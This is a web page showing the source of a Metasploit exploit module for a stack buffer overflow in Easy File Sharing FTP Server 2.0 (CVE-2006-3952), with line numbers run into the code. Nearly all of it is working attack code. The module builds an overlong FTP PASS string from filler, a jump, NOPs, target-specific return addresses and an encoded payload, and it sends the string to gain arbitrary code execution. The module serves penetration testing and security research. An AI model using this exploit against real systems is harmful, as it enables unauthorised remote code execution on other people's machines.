Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/easyfilesharing_pass.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(update_info(info,12'Name' => 'Easy File Sharing FTP Server 2.0 PASS Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in the Easy File Sharing 2.015service. By sending an overly long password, an attacker can execute16arbitrary code.17},18'Author' => 'MC',19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2006-3952' ],23[ 'OSVDB', '27646' ],24[ 'BID', '19243' ],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'thread',30},31'Payload' =>32{33'Space' => 600,34'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40[ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ],41[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],42],43'DisclosureDate' => '2006-07-31',44'DefaultTarget' => 0))45end4647def check48connect49disconnect5051if (banner =~ /Easy File Sharing FTP Server/)52return Exploit::CheckCode::Detected53end54return Exploit::CheckCode::Safe55end5657def exploit58connect5960filler = rand_text_english(2559) + "\xeb\x12"61filler << make_nops(2) + [target.ret].pack('V')6263sploit = "\x2c" + filler + payload.encoded6465print_status("Trying target #{target.name}...")6667# needs anonymous to be set.68send_cmd(['USER', "anonymous"], true)69send_cmd(['PASS', sploit], false)7071handler72disconnect73end74end757677